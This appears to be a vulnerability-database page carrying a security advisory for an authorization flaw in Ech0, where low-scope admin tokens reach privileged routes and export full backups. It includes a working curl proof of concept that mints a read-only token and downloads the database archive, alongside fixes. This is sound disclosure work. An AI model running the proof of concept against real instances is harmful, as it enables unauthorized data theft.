Vulnerability Database

353,412

Total vulnerabilities in the database

Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export — github.com/lin-snow/ech0

Improper Authorization

Summary

Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.

Impact

An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.

Details

The issue is caused by a split authorization model:

  • JWTAuthMiddleware() authenticates the token and stores scope metadata in the viewer context
  • RequireScopes(...) enforces least privilege, but only when a route explicitly adds it
  • several privileged routes omit RequireScopes(...)
  • multiple service methods then authorize using only user.IsAdmin

internal/middleware/scope.go shows that scope enforcement is opt-in:

func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } if v.TokenType() != authModel.TokenTypeAccess { ... } if !containsValidAudience(v.Audience()) { ... } if !containsAllScopes(v.Scopes(), scopes) { ... } ctx.Next() } }

Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:

func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList()) appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox()) appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead()) appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox()) appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox()) }

Other source-confirmed unguarded privileged surfaces include:

  • /api/panel/comments*
  • /api/addConnect
  • /api/delConnect/:id
  • /api/migration/*
  • /api/backup/export

Service-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:

func (inboxService *InboxService) ensureAdmin(ctx context.Context) error { userid := viewer.MustFromContext(ctx).UserID() user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid) if err != nil { return err } if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } return nil }

The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { token := ctx.Query("token") claims, err := jwtUtil.ParseToken(token) if err != nil { ... } reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid)) if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... } return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS} }) }

This drops token type, scopes, audience, and token ID before the backup service runs.

Proof of concept

1. Start the app

docker run -d \ --name ech0 \ -p 6277:6277 \ -v /opt/ech0/data:/app/data \ -e JWT_SECRET="Hello Echos" \ sn0wl1n/ech0:latest

2. Initialize an owner account

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'

3. Log in as the owner and mint a low-scope access token

owner_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/login" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) low_scope_admin_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $owner_token" \ -d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' )

4. Use the low-scope token on an unguarded admin route

curl -sS "http://127.0.0.1:6277/api/inbox" \ -H "Authorization: Bearer $low_scope_admin_token"

Observed response:

{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}

5. Use the same low-scope token on backup export

curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"

Observed response:

<img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" />

Try to unzip we will have log and database file:

-&gt;% unzip a.zip -d a Archive: a.zip inflating: a/app.log inflating: a/ech0.db

Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.

Suggested route-level changes:

import ( &quot;github.com/lin-snow/ech0/internal/handler&quot; &quot;github.com/lin-snow/ech0/internal/middleware&quot; authModel &quot;github.com/lin-snow/ech0/internal/model/auth&quot; ) func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( &quot;/inbox&quot;, middleware.RequireScopes(authModel.ScopeAdminSettings), h.InboxHandler.GetInboxList(), ) // Apply the same pattern to the remaining inbox routes. } func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( &quot;/backup/export&quot;, middleware.RequireScopes(authModel.ScopeAdminSettings), h.BackupHandler.ExportBackup(), ) }

Suggested handler fix for internal/handler/backup/backup.go:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil { return res.Response{ Msg: &quot;&quot;, Err: err, } } return res.Response{ Msg: commonModel.EXPORT_BACKUP_SUCCESS, } }) }

The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.

  • Published: Apr 10, 2026
  • Updated: Apr 11, 2026
  • GHSA: GHSA-4h9q-p5j4-xvvh
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.6
  • AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.